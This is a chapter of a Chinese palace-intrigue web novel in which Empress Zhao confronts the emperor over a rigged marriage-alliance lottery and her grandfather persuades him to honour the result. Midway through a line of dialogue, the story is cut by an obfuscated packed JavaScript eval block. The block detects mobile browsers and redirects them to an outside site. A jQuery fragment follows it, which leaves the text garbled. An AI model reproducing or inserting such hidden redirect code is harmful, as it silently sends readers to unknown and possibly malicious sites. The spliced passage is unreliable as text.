这让洛云舒感到意外。
一般情况下,这样的消息不会传出来。
除非是起的争执太大,听到动静的人很多,这才会瞒不住。
但,洛云舒想不出二人起争执的原因。
思来想去,洛云舒还是打算去翊坤宫一趟。
然而,她进去的时候却瞧见赵皇后素衣素服,正往外走。
她的贴身丫鬟棋书跪在地上,满脸泪痕。
洛云舒紧走几步,赶上前去:“母后,您这是做什么去?”
赵皇后看着洛云舒,凄然一笑:“云舒,为后者,有劝谏陛下之责。如今陛下做错了事,本宫理应规劝。”
洛云舒有些意外,她没料到赵皇后把话说得这么直白。
“母后,到底出了什么事?能跟儿臣说说吗?或许,儿臣能给您出出主意。”
“没用的,云舒,事情已经出了。陛下是君王,理应一言九鼎。抓阄一事既然尘埃落定,就应该按照结果来执行。可陛下为了一己之私,居然私自做了更改,这无法服众,更会影响他的君威。”
洛云舒心中一震,莫非赵皇后并不知道抓阄的猫腻儿?
若她知道,不该是现在这个反应。
洛云舒心里立刻有了判断。
她握住赵皇后的手,轻声道:“母后,此事另有内情。”
“什么?”
洛云舒就把抓阄的猫腻儿告诉了她。
听完,赵皇后不由得瞪大了双眼:“云舒,你、你的意思是,陛下原本是想让明曦去和亲?”
“是。母后,如果我没有料错,那五张纸团上全部写的都是去。明曦年龄最大,她先抓阄,结果是显而易见的。”
赵皇后陷入震惊之中。
的确,纸团是陛下派人送来的。
她不曾起疑心。
但是,就差那么一点儿,她就成了帮凶。
赵皇后立刻道:“云舒,此事本宫并不知情。”
“儿臣明白。但是,既然这件事是陛下亲手所办,您因为这件事跟他起争执,只会惹来斥责。”
“不,云舒,道理不该是这个样子的。这天底下的事,对就是对,错就是错,不能因为做错事的人身份尊贵就轻飘飘地揭过。这件事,陛下必须收回成命。他主导的抓阄的内幕本宫可以不说,但,他不让昭阳去和亲,这件事不成。”
看样子,赵皇后还是要去。
洛云舒不懂,去做一件知道注定会失败的事情,有意义吗?
赵皇后还是去了。
看着她决绝的背影,洛云舒突然懂了。
赵皇后身上,有天下读书人推崇的文人风骨。
为了坚守心中的正义,知其不可为而为之。
……
赵皇后素衣素服,不施粉黛,缓步走进勤政殿,跪下。
“陛下,君无戏言,更不可朝令夕改,臣妾求您收回成命,以正君威。”
昭远帝冷眼瞥过来,怒道:“赵氏,你冥顽不灵!”
赵皇后抬头直视圣颜,不卑不亢:“陛下,我赵氏风骨,一向如此。”
“此事事关朝政,朕有朕的考量。后宫不得干政,皇后请回吧。”
“陛下,若这件事当真和朝政有关,就不会秘密进行,不被天下人所知。臣妾求您,收回成命!”
昭远帝冷笑:“赵氏,你不过是一个未曾承宠的皇后,封你为后,不过是看在赵家的份儿上,你别把自己太当回事儿。”
“陛下,臣妾一日是皇后,便要尽身为皇后的职责。除非陛下废了臣妾的皇后之位。”
昭远帝怒目而视。
然而,赵皇后依旧不卑不亢,更不退让,她跪着,脊背挺得很直。
就在这时候,外面传来内侍的禀报声:“赵大儒到!”
赵大儒已经年过古稀,在大齐,他有不经通报就直接面见皇帝的特权。
听到赵大儒到,昭远帝立刻起身相迎。
“师祖,您怎么来了?”
赵大儒学识渊博,曾任三任皇帝的帝师,当得起一句师祖之名。
赵大儒须发皆白,他并未看跪在地上的赵皇后,只看着昭远帝,缓缓说道:“微臣来,是想与陛下论一论,何为君威。”
昭远帝面上带笑:“师祖,关于此事,朕有所考量。并非是朕朝令夕改,而是这件事牵一发而动全身,改不得。”
“陛下为了公正,允许抓阄,就应该接受抓阄的结果。更何况,如今皇后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793484|169168||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
求请,陛下理应给她一个台阶。她才十二岁,做这个皇后多有不易。若陛下连这个体面都不给她,她日后如何能做好这个皇后,又如何能够服众?”
赵大儒不论朝政,只站在赵皇后的立场去说。
昭远帝一时无言。
他无法反驳。
皇后是他选的,当时他给赵大儒保证过,会给赵皇后体面。
最后,昭远帝终是点了头:“师祖放心,朕会依照抓阄的结果办。”
“陛下,事情未必就到了必须要公主和亲的地步。”
赵大儒这话,意味深长。
“您说的是。”
赵大儒没有再多说,起身告辞,婉拒昭远帝的相送,只让赵皇后送他出去。
走出勤政殿外,赵皇后满腹歉疚:“祖父,让您操心了,是棋书找您来的吧?”
“是。你也是的,遇到了事情为什么不跟家里说?”面对小孙女,赵大儒的语气和缓了许多。
“孙女是不想让祖父跟着忧心。您年纪大了,还要为我奔波,我实在是过意不去。”
“傻丫头,你年龄再大,身份再高,不也是老夫的孙女吗?再说了,做长辈的,总是要为儿孙忧心的。”
“祖父。”赵皇后神色动容,挽住赵大儒的手臂。
赵大儒轻斥:“不可举止不端。”
赵皇后立刻松手。
“清梧,辛苦你了。”
“不辛苦的,祖父。”
说完,祖孙二人相视一笑。
赵皇后的眼睛里,隐隐闪着泪光。
……
柔仪殿内,洛云舒很快得到消息,维持原来抓阄的结果。
得到这个消息,洛云舒喜忧参半。
喜的是这一次昭远帝落于下风,不能为所欲为。
忧的是如此一来,裴行渊面临的压力会更大。
维持原来抓阄的结果,昭远帝无法通过对付明曦公主给裴行渊施压。
那么,他就会直接对付裴行渊。
或许,裴行渊应该急流勇退。
只是不知道,他自己愿不愿意。
晚上裴行渊回来的时候,洛云舒尚未提及自己的建议,却发现裴行渊欲言又止。